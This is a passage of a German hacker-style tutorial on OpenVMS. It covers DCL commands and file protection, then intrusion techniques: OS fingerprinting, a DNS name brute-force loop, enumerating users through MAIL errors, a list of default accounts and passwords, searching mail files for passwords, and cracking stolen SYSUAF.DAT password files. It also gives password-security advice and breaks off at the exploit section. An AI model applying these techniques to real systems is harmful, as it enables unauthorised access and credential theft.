gegeben. NONE Wir wollen keine Optionen setzen. Zugriffsarten READ WRITE EXECUTE DELETE CONTROL NONE Ein ACL eintrag koennte wie folgt von statten gehen: $ SET FILE /ACL=(IDENTIFIER=[REMOTE,HAVOC], OPTIONS=NONE, ACCES=NONE) *.*;* Hat zur folge das HAVOC keinen zugriff mehr auf alle Dateien im Verzeichnis mehr hat. Den ACL-Editor startet man mit $ SET FILE /ACL /EDIT 1.7DCL Wenn wir auf einem VMS System eingeloggt sind, kommunizieren wir mit VMS mit der Terminalsprache DCL (Digital Command Language). DCL unterstuetzt ueber 200 Befehlsaufrufe und Funktionen die bei der Aufgabensloesung verwendet werden koennen. DCL wurde von Digital entwickelt. 1.8DECnet Ein DECnet besteht aus zwei oder mehr Computern die sich Nodes nennen und mit einander verbunden sind. Mit DECnet kann ein Computer auf die Ressourcen eines anderen Computers zugreifen. Das Ganze ist also mit TCP/IP Netzen vergleichbar, denn es gibt Server, Clients, Pakete und Ports. Nur erlaubt DECnet VMS Rechnern untereinander zu kommunizieren. DECnet ermoeglicht es Produkten der Produktfamilie von | | | | | | | | |d|i|g|i|t|a|l| | | | | | | | | sich untereinander auszutauschen. DECnets erstrecken sich oft ueber mehrere (Firmen-,Buero-,Orgranisationen)Netze und koennen Weltweit sein. Rechner und Betriebssysteme mit DECnet waren frueher: Rechner Betriebssystem VAX VMS VAX ULTRIX PDP-11 RSX-11 PDP-11 RSTS/E Heute wird man schon beim kompilen des linux Kernels gefragt, ob man das DECnet Filesystem/Tools mit implementieren moechte. 2.0 Jetzt wird’s interaktiv (praxis am Terminal) „Wissen ist Macht- wie falsch gedacht! Wissen ist wenig- Koennen ist Koenig!“ Wenn wir interaktiv an einem VMS System arbeiten, gehen wir davon aus, dass wir mit einem Terminal arbeiten. Es tut zunaecht ersteinmal nichts zur Sache, ob wir uns via telnet mit dem VMS verbunden haben, oder ob wir gerade vor einem Terminal sizten. Wir werden uns hier auf dem Terminal bewegen und so zunaechst einmal die wichtigsten Befehle kennen lernen. Wie bereits im vorigem Kapitel erwaehnt, arbeitet man an VMS Systemen mit der DCL (Digital Command Language). Ein DCL-Befehl setzt sich im groben aus drei Bausteinen zusammen. Zunaechst kommt das Befehlsverb dann die entsprechenden Parameter/Argumente die man an das aufgerufene Programm geben will. Als dritter Baustein kommen die sogenannten Qualifizierer (oder auch Optionen/Switches genannt). Das Befehlsverb steht unmittelbar vor dem Prompt ($) und besteht aus einem Wort. Der Parameter gibt an auf was ein bestimmter Befehl ausgefuehrt werden soll. Die Qualifizierer dienen um das Verhalten des Befehls zu beeinflussen. Dabei gilt es von zwei Qualifizieren zu unterscheiden. Zum einen gibt es Qualifizierer die sich auf den gesamten Befehl beziehen. $ COPY DATEI.LIS [.XFILES] /LOG Der Qualifierer „/LOG“ bezieht sich auf das gesamte Kommando. Dann gibt es noch die Qualifizierer die sich nur auf ein bestimmtes (nachfolgendes) Argument beziehen. Wenn wir mit dem Terminal arbeiten moechten, ist es auch ein wichtiges sich mit den Fehlermeldungen auszukennen. Nehmen wir an wir begehen einen Schreibfehler in einem Programmaufruf: $ SHWO TIME %DCL-W-IVVERB, unrecognized command verb – check validity and spelling \SHWO\ Die Fehlermeldung besteht aus vier Teilen, wobei die ersten drei mit Bindestrichen aneinander Verbunden sind. 1. Teil des Systems (DCL) 2. Art der Meldung (W) 3. Kennwort der Meldung (IVVERB) 4. Text der Meldung (unrecognized command verb – check ...) 1 – gibt an von welchem Teil des Systems diese Fehlermeldung kommt. Andere Beispiele waeren BACKUP, QUEMAN oder SET. 2 – gibt die Art der Systemmeldung an. „S“ Success „I“ Information “W” Warning “E” Error “F” Fatal Error 3 – ist ein Kuerzel der dem Benutzer Informationen zu der Fehlermeldung zu kommen lassen soll. Was auch angesprochen werden sollte sind die Tasten-Kombos die sich in Verbindung mit CTRL ergeben. CTRL + Y : Unterbricht das laufende Programm CTRL + C : Vom Programm difiniert oder wirkt wie CTRL + Y CTRL + O : Aus-/Einschalten der Terminalausgabe CTRL + T : Auf dem Bildschirm erscheint eine Kurzinformation zum aktuellen Prozess Kommentare werden in DCL mit dem „!“ Zeichen versehen. Alles was nach diesem Zeichen kommt, wird als Kommentar gelesen. Wenn ein Befehl von besonderer Laenge ist, kann der Benutzer einfach ueber die Terminalzeile hinausschreiben. Dabei wird eine neue Zeile unten angefuegt. Andernfalls kann der Bentuzer bevor er den Rand erreicht, das „-„ Zeichen setzen. Nachdem „-„ kann er mit [return] eine neue Zeile beginnen und das Kommando vortfuehren. Das sorgt oftmals fuer eine bessere Uebersicht. 2.1 Arbeiten mit Dateien und Verzeichnissen Als erstes muessen Wir in der Lage sein, uns auf dem System umzusehen und unser „home“ Verzeichnis zu verwalten. Dazu benoetigen wir Befehle mit denen wir Verzeichnisse wechseln/loeschen/erstellen koennen und Befehle mit denen wir in die Lage versetzt werden Dateien zu bearbeiten/loeschen. Wir werden hier zunaechst Befehle durchgehen die fuer diese Zwecke unverzichbar sind und ein Beispiel vorfuehren. ---- Befehl $ DIRECTORY Man erhaelt eine Liste aller Dateien die in einem Verzeichnis stehen. Wichte Qualifizierer /SIZE Zeigt die Groesse der jeweiligen Datei an. /FULL Zeigt umfangreiche Informationen zu jeder Datei an /DATE Gibt den Zeitpunkt der Dateierstellung und Bearbeitung an. Beispiel MANSON $ directory /size !wir wollen den verzeichnisinhalt sehen Directory MANSON$DKA100:[USERS.LOOM] LOGIN.COM;1 WELLCOM.TXT;1 MAIL.MAI;1 Total of 3 files. ---- Befehl $ DELETE Loeschen von einem Objekt. Wichtige Qualifizierer /CONFIRM Bentutzer wird vor dem Loeschen um Erlaubnis gefragt. /LOG Man erhaelt nach dem loeschen einen Beitrag auf dem Bildschirm /DIRECTROY Ermoeglicht das Loeschen eines Verzeichnisses /ENTRY Loescht einen Eintrag in der Batch-Job Warteschlange Beispiel $ DELETE VERSUCH.C;* !loescht alle Versionen der Datei VERSUCH.C ---- Befehl $ PURGE Mit dem PURGE Befehl koennen alle Versionen einer Datei, ausser die zuletzt erstellte (die mit der hoechsten Versionsnummer), geloescht werden. Wichtige Qualifizierer: /KEEP=n Die letzten n Versionen der Datei behalten Beispiel $ PURGE VERSUCH.C ---- Befehl $ TYPE Gibt den Inhalt einer Datei auf dem Bildschirm (SYS$OUTPUT) aus. Wichtige Qualifizierer /PAGE Der Text wird nicht an einem Stueck ausgegeben, sondern wird Bildschirmseite fuer Bildschirmseite ausgegeben. Der Bentuzer kann mit [RETURN] weiterblaettern. /OUTPUT=file-name Schreib den Output in gewuenschte Datei. Beispiel $ TYPE LOGIN.COM;1 !zeigt inhalt der Datei an $ TYPE VERSUCH.C;* !zeigt inhalt aller Versionen an $ TYPE MAIL.DIS;1 /PAGE !zeigt den Inhalt nacheinander an ---- Befehl $ CREAT /DIRECTROY Erstellt ein neues Verzeichnis. Wichtige Qualifizierer /PROTECTION=(...) Erstellt Verzeichnis mit den angegebenen Zugriffsrechten. /LOG Gibt bescheid wenn bei Erfolg. Beispiel $ CREAT /DIRECTORY [.LOG] ---- Wenn man keine Pfandangaben zu seinen Befehlen hinzufuegt werden, sucht sich VMS aus dem Standard-Directory das Zielverzeichnis. Das Standard-Directory eines Benutzers ist zunaechst einmal sein Home-Verzeichnis. Um das Standard-Verzeichnis zu veraendern und so auch seine Position im Verzeichnisbaum zu veraednern, benutzt man den befehl „SET DEFAULT“. $ SET DEFAULT verzeichnis Den Momentanen Standpunkt kann man sich mit dem folgendem Befehl anzeigen lassen: $ SHOW DEFAULT Der Befehl „cd“ wie er oft auf VMS Systemen benutzt wird ist eigentlich nichts anderes als ein logischer Name fuer den Befehl „SET DEFAULT“. Zu den logischen Namen kommen wir spaeter. ---- Befehl $ COPY Kopiert eine Datei. Beispiel $ COPY *.c;* DISK$FLOP:[c-codes] !kopiert alle C Dateien auf Diskette ! Verzeichnis [c-codes] ---- Befehl $ SEARCH Sucht in angegebenen Dateien nach einem Bestimmten String. Beispiel $ SEARCH MAIL.DIS password,Password,PASSWORD !sucht in der mail datei nach den drei Schluesselwoertern -kleine session- MANSON $ show default ! wir wollen wissen wo wir uns befinden MANSON$DKA100:[USERS.LOOM] MANSON $ directory !wir wollen den verzeichnisinhalt sehen Directory MANSON$DKA100:[USERS.LOOM] LOGIN.COM;1 WELLCOM.TXT;1 MAIL.DIS;1 Total of 3 files. MANSON $ type wellcom.txt;1 Hi, wellcom on our system stranger! MANSON $ SEARCH MAIL.DIS;1 “password” ******************************** MANSON$DKA100:[USERS.LOOM]MAIL.MAI;1 so I have changed my password to “buttermilk123” MANSON $ -end- 2.2 Editieren Das Editieren von Texten wird auf VMS Systemen mit dem EVE-Editor geregelt. EVE steht fuer Extensible Vax Editor und ist in der Lage, Texte einzugeben, korrigieren, formatieren oder duplizieren. Wir werden hier nur das wichtigste Besprechen. Fuer weitere Informationen „HELP“. Zum starten des Editors nutzen wir den folgenden Aufruf: $ EDIT /TPU filename Zum verlassen des Editors dreucken wir die Taste [F10] (dabei werden aenderungen gespeichert). Zum verlassen ohne Aenderung des Textes gehen wir folgende Schritte durch: -Taste [AUSFUEHREN] / [Do] dreucken -Hinter dem auftauchenden Prompt „Command:“ den Befehl QUIT eingeben -Danach werden wir gefragt ob wir die Veraenderung speichen moechten -Weil wir nicht speichern moechten beantworten wir die Frage mit „Y“ Falls beim editieren das System abstuerzen sollte oder die Verbindung getrennt wurde, wird der EVE Editor eine Datei mit der Endbezeichnung „TJL“ erstellen. Diese kann beim erneuten anmelden mit „EDIT /TPU /RECOVER CRASH.TJL“ wiederhergestellt werden. 2.3Drucken von Texten Wie auch in mir allen bekannten anderen Systemen, arbeitet auch VMS mit Druckwarteschlangen. Das bedeutet, dass wenn mehrere Druckauftraege anstehen, einer nach dem anderen gedruckt wird. ---- Befehl $ PRINT filename Veranlasst das Drucken von „filename“. Wichtige Qualifizierer /QUEUE=warteschlagne Hier kann die gewuenschte Datenschlange angegeben werden. /NOTIFY Am Bildschirm erscheint eine Nachricht wenn der Druckauftrag beendet ist. /HEADER Schreibt automatisch ueber jede Seite die Seitenanzahl. /COPYS=n Druckt „filename“ n mal aus. Beispiel $ PRINT MYPROGRAMM.COM;5 /COPYS=2 /HEADER ---- Zum ueberwachen der Druckerschlange steht uns der folgende Befehl zur Verfuegung: $ SHOW ENTRY Jobname Username Entry Blocks Status MYPROGRAMM.COM LOOM 14 12 Printing Um Informationen ueber die Warteschlange zu bekommen nutzen wir den Befehl: $ SHOW QUEUE !listet alle Schlangen auf $ SHOW QUEUE name !zeigt Infomationen ueber die Schlange “name” an Mit dem Befehl „SHOW ENTRY“ koennen wir uns die Nummer unseres Druckauftrages ansehen. Mit „DELETE /ENTRY=jobnummer“ koennen wir den Druckjob mit Jobnummer „jobnummer“ loeschen. 2.4 Elektronische Post Mit E-Mails ist es ein einfaches einem Kollegen auf einem entferntem oder localem Computer eine Nachricht zukommen zu lassen. Es ist billiger als das Telefon und bringt bsw. den Vorteil, dass der Empfaenger nicht beim Versandt der Nachricht anwesend seinen brauch. Er kann die Nachricht auch spaeter lesen. Ausserdem geht die uebertragung von solchen Nachrichten blitzschnell. Um eine Nachricht zu lesen starten wie „MAIL“ $ MAIL You have 1 new message. MAIL> Es erscheint der Mail-Prompt mit dem wir nun arbeiten werden. Wir lassen uns alle Nachrichten im aktuellen Mail-Verzeichnis ansehen: MAIL> DIRECTROY Es erscheint eine Liste mit Nummern die jeweils fuer eine Nachricht stehen. Wenn wir eine der Nachrichten lesen moechten, gibt es verschiedene Moeglichkeiten: MAIL> [RETRUN] !die erste – aktuelle Nachricht MAIL> n !die n-te Nachricht MAIL> BACK !die zuletzt gelesene Nachricht MAIL> NEXT !die naechte Nachricht Wir wollen eine Nachricht senden. MAIL> SEND To: LOUIE Subj: U SUCK Blah blah blah blah blah blah Blah blah blah blah blah blah CTRL + Z !absenden der Nachricht !abbrechen mit CTRL + C Wenn LOUIE ein Bentuzer an einem anderm Computer waere, muesste der Aufruf wie folgt aussehen: HOST::LOUIE Bei mehreren empfaengern: LOUIE,THOMAS,SYSTEM,ASS::PEN,... Wir versenden eine Datei: MAIL> SEND filename !der inhalt der Datei wird als Nachricht versandt Zum Beantworten einer Nachricht: -Nachricht lesen -MAIL> REPLY !oder ANSWER – empfaenger uns Subj werden auto. Eingetragen -Antwort eingeben -Absenden mit CTRL + Z Zum weiterleiten einer Nachricht (mail lesen) MAIL> FORWARD To: KERL Subj: YaCC - Yet another Cup of Coffee Eine Kopie der gelesenen Nachricht wird auto. versandt. Jetzt wollen wir noch eine Nachricht die wir gelesen haben in eine Datei ablegen. (mail lesen) MAIL> EXTRACT filename Legt die komplette Mail (mit header) in Datei „filename“ ab. Mit dem Qualifizierer /NOHEADER wird nur die Nachricht gespeichert. Nachrichten loeschen wir mit MAIL> DELETE n,j,x,... Oder Mail> DELETE n-z 2.5 Logische Namen Was logische Namen sind haben wir im ersten Kapitel besprochen. Wir wollen uns nun logische Namen in der Praxis ansehen. ---- Befehl $ DEFINE objekt logischer-name objekt kann sein: -eine Geraetename -ein Verzeichnisname -eine Dateibezeichnung Wichtige Qualifizierer /PROCESS Der logische Name wird in die Prozesstabelle geschrieben und gilt so nur fuer den laufenden Prozess. /JOB Der logsiche Name wird in die Jobtabelle geschreiben und gilt nur fuer einen Job- d.h. fuer den Prozess und seine Sub-Prozesse. /GROUP Der logsiche Name wird in die Gruppentabelle der Gruppe hinzugefuegt und gilt damit fuer alle Benutzer der Gruppe. (Benoetigtes Privileg: GRPNAM oder SYSPRV) /SYSTEM Der logische Name wird in die Systemtabelle geschrieben und gilt fuer alle Benutzer des Systems. (Benoetigtes Privileg: SYSNAM oder SYSPRY) Beispiel $ DEFINE PROJEKT [.PROGRAMMING.C]projekt.c !wird ein logischer Name definiert den es bereits gibt, wird der alte ueberschrieben $ TYPE PROJEKT /* projekt.c */ #include . . . ---- Befehl $ SHOW LOGICAL logsicher-name Zeigt das Objekt auf welches der logsiche Name “logischer-name” Verweist. Beispiel $ SHOW LOGICAL PROJEKT „PROJEKT“ = „[.PRPGRAMMING.C]projekt.c“ Um uns alle logsichen Namen anzeigen zu lassen schreiben wir nur $ SHOW LOGICAL in unser Terminal. ---- Befehl $ DEASSIGN logischer-name Hebt den logischen Namen auf. Beispiel $ DEASSIGN PROJEKT ---- 2.6Dateischutz Das Prinzip von Datenschutz unter VMS ist bereits im ersten Kapitel besprochen worden. Hier werden wir uns mit der interaktiven Handhabung dieser Zugriffsmechanismen befassen. ---- Befehl $ DIRECTROY /SECURITY Eine Auflistung alle Dateien und deren Zugriffsrechte. Beispiel $ DIRECTROY /SECURITY Directory DISK$FLOP:[PROGRAMMING.C] VERSUCH.C;1 [REMOTE,LOOM] (RWE,RWED,RE, ) VERSUCH.C;2 [REMOTE,LOOM] (RWE,RWED,RE, ) LITM.C;7 [REMOTE,LOOM] (RWE,RWED,RE, ) GULL.C;3 [REMOTE,LOOM] (RWE,RWED,RE, ) Total of 4 files. ---- Befehl $ SET PROTECTION = (...) Legt Zugriffsrechte erneut fest. Beispiel $ SET PROTECTION = (S:RWE,O:RWED,G:RWE,W) ! hinweis ! Aendert man Rechte eines Objekts, muss man immer die kompletten Angaben machen. Teilaenderungen sind nicht moeglich. Gibt man z.B. bei der Aenderung fuer GROUP nur Rechte „G:W“ an, sind die vorhergehenden Rechte wie R und E nicht mehr gueltig. ---- Neu erstellte Dateien werden immer mit einem Standart Schutz versehen. Dieser laesst sich mit „$ SHOW PROTECTION“ anzeigen. Mit „$ SET PROTECTION = (...) /DEFAULT” laesst sich der Standart Schutz veraendern. Kommen wir nun zu ACL Schutzmechanismen in der praktischen Anwendung. ---- Befehl $ DIRECTROY /ACL Zeigt die ACL Zugriffstabellen fuer alle Dateien im Verzeichnis an. Beispiel $ DIRECTORY /ACL ---- Befehl $ SHOW ACL objekt Zeigt den ACL Schutz eines Objektes an. Wichtige Qualifizierer /OBJECT_TYPE=type !TYPE kann sein FILE (STANDARD), DEVICE oder ! LOGICAL_NAME $ SHOW ACL /OBJECT_TYPE = DEVICE DUA1: ---- Befehl $ SET ACL object Setzen von ACL Zugriffsrechten. Um ACL Berechtigungen fuer ein Verzeichnis zu modifizieren, setzen wir nach dem SET Auffruf das Wort „DIR“. Wichtige Qualifizierer /OBJECT_TYPE=type !TYPE kann sein FILE (STANDARD), DEVICE oder ! LOGICAL_NAME Gibt an um welches Objekt es sich handelt. /ACL=(...) ACL angaben. /DELETE Loescht ACL Zugriffsliste. /LOG Zeigt jedes Objekt an, dessen ACL modifiziert wird. Beispiel SET ACL /ACL=(IDENTIFIER=HAVOC+LOCAL, ACCESS = R+W+E+D) VMS-GUIDE.HTM Legt fest das HAVOC wenn er local am System arbeitet, lese, schreibe, ausfuehr und loesch rechte besitzt. SET DIR ACL /ACL=(IDENTIFIER=[POLITICALS,*], ACCESS=NONE) [.INFORMATION] Legt fest das alle Benutzer der Gruppe POLITICALS keinen Zugriff auf das Verzeichnis INFORMATION haben. Seine Privilegien kann man sich mit $ SHOW PROCESS /PRIVILEGE ,anschauen. Dabei ist zu beachten, dass man Privilegien die nicht Standartmaessig aktiv sind, extra aktiviert werden muessen: $ SET PROCESS /PRIVILEGE=BYPASS Wuerde wenn erlaubt, dass BYPASS Privileg aktivieren. 2.7VMS den Prozess machen Beim Anmelden am System mit Username und Password wird fuer den betreffenden Benutzer ein Prozess erzeugt. Ein Prozess kann immer nur einen Befehl oder ein Dienstprogramm ausfuehren. Daher macht es Sinn mit mehreren Prozessen zu arbeiten um in kurzer Zeit mehrere Dinge zu erledigen. Beispielsweise koennte man waehrend ein COPY Aufruf arbeitet seine Mails begutachten. ---- Befehl $ SHOW SYSTEM Zeigt alle Prozesse an. Beispiel $ SHOW SYSTEM VAX/VMS V6.0 on node DIGREB 6-JUN-2001 03:12:33.53 Uptime 6 19:23:43 Pid Process Name State Pri I/O CPU Page flts Ph.Mem 00000021 SWAPPER HIB 16 0 00:00:04.42 0 0 [...] ---- Befehl $ SHOW PROCESS Zeigt Informationen ueber den aktuellen Prozess. ---- Befehl $ SPAWN Erzeugt einen Sub-Prozess zum aktuellen Prozess. Beim Aufruf ohne Parameter wird ein weiteres Terminal geoeffnet, an dem gearbeitet werden kann. Wichtige Qualifizierer /NOWAIT dcl-befehl Startet einen Hintergrundprozess und arbeitet den dcl-befehl ab. Beispiel $ SPAWN /NOWAIT SEARCH MAIL.DIS;* passwort,password,Password,Passwort %DCL-S-SPAWNED, process LOOM_1 spawned ---- Befehl $ SHOW PROCESS /SUBPROCESSES Zeigt die Sub-Prozesse des momentanen Prozesses. Beispiel LOOM (*) LOOM_1 ! das * zeigt an, an welchem Prozess man zur Zeit aktiv ist. Man kann sich auch die Sub-Prozesse des Systems ansehen mit „$ SHOW SYSTEM /SUBPROCESSES“. ---- Befehl $ STOP /IDENTIFICATION=pid Beendet (falls berechtigt) den Prozess mit der angegebenen PID. Jeder Benutzer kann seine eigenen Prozesse „kill“en und mit dem Privileg WORLD kann jeder Prozess angehalten werden. 2.8Remote Grundlegende Netzwerkfunktionen. ---- Befehl $ SET HOST node-name Baut eine Verbindung mit node-name im DECnet auf. Bei angabe von „0“ als node-name, wird eine verbindung mit dem eigenen Host hergestellt. Beispiel $ SET HOST VMS01 Username: loom Password: Welcome on our VMS Stranger... ---- Befehl $ COPY Mit COPY kann man Dateien vom aktuellem Rechner auf einen entfernten kopieren. Beispiel $ COPY test.lis;1 VMS01::[USERS.LOOM] Username: LOOM Password: 3.0 Hacking VMS VMS macht auf Grund seiner komplexeren Handhabung mit Zugriffsrechten/Privilegen einen sicheren Eindruck. Tatsaechlich geniesst VMS einen guten Ruf in Sachen Sicherheit. Das mag daran liegen, dass VMS noch laengst nicht so oft eingesetzt wird wie ein Solaris Betriebssystem. Bei Peer-to-Peer Netzwerken wird oft auf OpenVMS gesetzt. So entsteht ein DECnet nach dem anderen die wieder miteinander Verbunden werden. DECnets erstrecken sich ueber die ganze Welt. Mit DECnet Gateways kann ein DECnet an ein ganz normales TCP/IP Netzwerk angeschlossen werden. 1989 habe ich die mir erst bekannte Sicherheitswarnung in bezug auf VMS und DECnets allgemein gefunden (also bei meiner suche- da war ich noch nich im kindergarten...). Dabei ging es darum, dass sich mehr und mehr Angreifer via Modem und einem Wardialer sich im DECnet breit machten. In der Regel durch nicht geaenderte Standartpasswoerter (wird dieser Wahnsinn jemals enden?!)- ein Problem das man auch heute noch oft findet, besonders bei Netzwerkgeraeten. Die Sicherheitswarnung empfahl jedenfalls allen Systemadministratoren ihre Passwoerter-Policy erheblich zu verbessern. Ziel des Angreifers sind wie immer hoehere Zugriffsbefugnisse. Unter VMS also entweder den SYSTEM Account oder hoehere Privilegien. Wenn es einmal so weit ist, kann ein Angreifer von diesem System aus weiter durch die weiten des DECnet´s wandern. Ueber den lauf der Jahre von damals bis jetzt, gab es immer wieder mal vereinzelte Meldungen die auf Probleme bei der VMS Sicherheit hinwiesen. Man kann fast sagen jedes Jahr ca. 3 wirkliche Sicherheitsprobleme. Es liegt auf der Hand das es auch bei VMS Anwendungen zu Sicherheitsmaengel kommen muss. Schliesslich sind VMS Programmierer auch nur Menschen und so haben sich auch hier Sicherheitsprobleme durch „Programmierfehler“ entwickelt. 3.1 OS Detection und andere Informationen Zunaechstmal muss ein Angreifer wissen mit welchem OS er es zu tun hat. Man kann entweder beim Wardailen oder in einem TCP/IP (oder IPX) Netzwerk auf ein VMS System oder ein DECnet treffen. Indikator fuer ein VMS System ist oftmals noch der Banner der beim Einloggen ausgegeben wird, bsw: Wellcome to VMS01 under VMS 5.3 Dieser Banner kann aber geaendert werden. Danach folgt die Anforderung nach einem Bentzernamen und einem Password. Username: LOOM Password: [invisible] Hier ist nichts wirklich auffaeliges festzustellen. Auffaelig wird dann, wenn wir ein falschen Password eingeben: „User authorization failure“ Ein weiterer Indikator fuer ein VMS System ist dann zu erkennen, wenn wir beim login CTRL+Z druecken. „Error reading command input” Falls man das VMS System ueber ein TCP Netz erreichen kann, gelten die selben OS-Detection Tricks. Beispielsweise passives Fingerprinting. „nmap“ sollte VMS Systeme auch erkennen. Manche VMS Systeme lassen sich auch schon an ihrem DNS Namen erkennen (vms01.domain.za). Ein einfaches Shell-Scribt fuer Unix waehre ein DNS Namen Brutforcer: ~ > cat >host.lis< for I in `cat host.lis`; do nslookup $I.domain.za 2>/dev/null; done Das Telnet utility kann ebenfalls interessante Informationen geben. Einige Ports wie 11 oder 15 sind Standartmaessig aktiv und bringen so wissenswertes ueber das System unter die Leute. Beispielsweise angemeldete Benutzer, Routingtabellen, Netstat... Ein eingeloggter Bentuzer kann mit Hilfe des Befehls $ TELNET VMS.HOST.NET /PORT=15 sich mit dem Netstatport verbinden. Um die aktiv am System arbeitenden Benutzer zu sehen reicht der folgende Aufruf: $ FINGER um naehere Informationen ueber einen USER zu bekommen „FINGER USERNAME“. Ein anderer Weg um Festzustellen ob ein Bentuzer Existiert oder nicht ist das Programm „MAIL“. Ein Beispiel: $ MAIL TEST.TXT EXISTING-USER /SUBJECT=“TEST“ Der Bentuzer EXISTING-USER ist ein existierender Benutzer des Systems, daher wird keine Fehlermeldung ausgegeben. $ MAIL TEST.TXT NON-EXISTING /SUBJECT=“TEST“ %MAIL-E-NOSUCHUSR, no such user NON-EXISTING So koennen wir Benutzername fuer Benutzername abklappern und so feststellen welche Benutzer existieren und welche nicht. Um eine Ausgabe wie bei „netstat“ zu erhalten kann man den Befehl „SHOW NETWORK“ verwenden. 3.2 Passwort Attacken Wo Passwoerter sind, da sind auch Sicherheitsprobleme mit Passwoertern. Das kommt oft dadurch, dass Benutzer sich nicht der Bedeutung eines guten Passwortes bewusst sind. Ein gutes Passwort steht weder in einem Lexikon noch in einem Duden (wieso werden wir gleich erlaeutern). Es ist empfehlenswert Gross-, und Kleinschreibung zu waehlen. Ausserdem sollten noch Zahlen oder andere Zeichen enthalten sein. Ein einfaches Beispiel- passwort welches auch noch einfach zu merken ist waehre zum Beispiel: MeinCh3fIstChef Passwoerter werden in der Datei SYSUAF.DAT aufgewahrt und befinden sich im Verzeichnis SYS$SYSTEM. Bei aelteren VMS Systemen, war diese Datei fuer alle Bentuzer lesbar (genau wie die /etc/passwd bei *NIX Systemen, wo es noch keine shodow´ed Passwoerter gab). Diese Zeiten sind vorbei! Die Datei SYSUAF.DAT bleibt normalen bentuzern veraehrt (es sei denn der „nomale“ Benutzer verfuegt ueber Privilegien wie BYPASS). Es gab wie bereits erwaehnt bei aelteren VMS Systemen noch viele Standart Passwoerter wie z.B. SYSTEM [ENTER]. Wobei SYSTEM der Administrator Account schlecht hin ist. Hier einige Klassische/Historische Standart Accounts: [Account] [Passwort] DECNET DECNET DEFAULT DEFAULT DEMO DEMO FIELD FIELD SERVICE GUEST GUEST OPERATOR OPERATOR OPERATIONS OPERATIONS SYSMAINT SYSMAINT SERVICE DIGITAL SYSTEM SYSTEM MANAGER OPERATOR SYSLIB SYSTEST UETP SYSTEST SYSTEST_CLIG CLIG SYSTEST TEST SUPPORT SUPPORT DEC Wobei die hier genannten Bentuzernamen ohne Passwortangabe kein Passwort benoetigten. Solche Accounts werden auch Joker Accounts genannt. Standart Accounts – also Accounts die auf jedem System Standartmaessig enthalten sind, werden besonders oft von Passwortattacken heimgesucht. Das liegt daran das der Angreifer weiss, dass diese Accounts existieren und ratet daher so munter drauf los. Ein Horror Senario ist das simple Erraten des SYSTEM Accounts. So haette der Angreifer volle Kontrolle ueber das System. Die Datei SYSUAF.DAT besitzt Standartmaessig folgende Zugriffsrechte: System:RWE, Owner: RWE, Group:, World:. Es sei hier noch erwaehnt das die Passwoerter natuerlich nicht im Klartext gespeichert werden. Benutzernamen und Gruppen sind in der Datei SYS$SYSTEM:RIGHTSLIST.DAT festgelegt. Diese Datei ist auf manchen Systemen noch lesbar fuer jedermann. Seid OpenVMS 6.0 ist dies jedoch ebenfalls passe. Die es sich fuer .DAT Dateien gehoert, ist diese Datei alles andere als einfach lesbar. Ein hex-editor ist hier keine schlechte wahl. Wenn man einmal eine Liste aller Benutzer und Passwoerter besitzt, kann das muntere Passwoerter raten losgehen. Wenn ein Angreifer sich irgendwie Zugriff zu der SYSUAF.DAT verschafft hat, kann er diese mit tools wie VMScrack 1.0 fuer MSDOS cracken. Mit diesem tool kann ein Angreifer das Passwort durch mehrmaliges Raten anzeigen lassen. Ein Passwort wird verschluesselt in der SYSUAF.DAT aufbewahrt. Der Schluessel setzt sich aus einem angegebenem Passwort und einer Aufbereitung durch ein symetrisches Verschluesselungsverfahren zusammen. Diese Verschluesselungsverfahren koennen in der Regel nicht geknackt werden. Was Programme wie VMScrack tun, ist ein Passwort nach dem anderem zu generieren und zu ueberpruefen, ob das neu generierte Passwort dem der SYSUAF.DAT entspricht. Falls dies der Fall ist, ist das Passwort ermittelt worden. Dabei werden Passwortlisten verwendet, die beispielsweise alle Begriffe eines Lexikons oder eines Dudens durchgehen. Daher ist es Sinnvoll ein Passwort zu waehlen welches nicht in einer solchen „Datenbank“ enthalten ist. Fuer John the Ripper ist vor laengerer Zeit ein patch veroeffentlicht worden, mit dem man auch VMS Passwoerter cracken kann. http://www.securityfocus.com/archive/1/301218 Wenn ein Angreifer mit Hilfe eines tools alle MOEGLICHEN kombinationen von Zeichen nacheinander druchgeht, spricht man von Bruteforce. Je laenger und je mehr unterschiedliche Zeichen verwendet werden erschwert man solchen Angriffen den Erfolg. Beispielsweise kann man bei bestimmten tools zwischen den folgenden Optionen waehlen: -[a-z] -[A-Z] -[a-z,A-Z] -[1-0] -[a-z,A-Z,1-0] -[a-z,A-Z,1-0,!”§$%&/()=?*.,-_] Man kann sich an zehn Fingern abzaehlen, dass je mehr unterschiedliche Zeichen im Passwort enthalten sind, so laenger dauert der BruteForce. In den meisten faellen wird ein Angreifer nach einigen Stunden/Tagen aufgeben... Fuer Systemadministratoren wird seid laengerem ein Programm mitgeliefert, mit dem sich Passwoerter im Bezug auf Sicherheit hin ueberpruefen lassen. SYS$COMMON:[SYSUPD]VMS$SECUREPWD.EXE Oder SYS$COMMON:[SYSUPD]VMS$SECUREPWD_PRE70.EXE Mit bsw. $ MCR SYS$COMMON:[SYSUPD]VMS$SECUREPWD_PRE70.EXE USERNAME /GUESS Laesst sich ueberpruefen ob “USERNAME” ein sichers Passwort ist. Nachdem der Befehl ausgefuehrt ist, traegt der logische Name VMS$SECURE einen der folgenden Werte: VALID - Passwort scheint stark zu sein WEAK - Password ist schwach DISUSER - Dieser Account existiert zwar, ist aber deaktiviert NONEXSIST – Existiert nicht $ MCR SYS$COMMON:[SYSUPD]VMS$SECUREPWD_PRE70.EXE LOOM /GUESS $ SHOW LOGICAL VMS$SECURE “VMS$SECURE” == “VALID” Wenn man also selbst ueber den Luxus verfuegen wuerde eine VMS box zu besitzen, koennte man die gestolende SYSUAF.DAT mit der aktuellen ersetzten und testen (oder man macht es remote am ergaunertem System). Desweiteren kann man bei der Sicherung von Passwoertern einige Grundregeln nennen: -Passwoerter nicht im Klartext in Dateien abspeichern (und dann auch noch fuer die Gruppe oder Welt lesbar) -auf Passwoerter nicht durch Kommentare in seinem Profil bsw. als Denkstuetze aufmerksam machen -keine einfach erratbaren Passwoerter nehmen wie bsw. den Benutzernamen. -Passwoerter nicht auf Notizzettel vermerken -Passwoerter nicht uebers Netzwerk bekannt geben (z.B. ueber MAIL oder PHONE). -Passwort in regelmaessigen Abstaenden aendern -Moeglichst lange Passwoerter bentuzen -Passwort sollte moeglichst nicht in Lexika oder Duden vorkommen 3.3 Exploiting Es gibt nur wenige Exploits im Internet zu finden. Wenn dann sind es oft Ausnutzungen von flaschen Zugriffsrechten oder unerwarteten Bentuzereingaben. Buffer Overflows wird man unter VMS nicht finden, da VMS einen “none-executable” stack 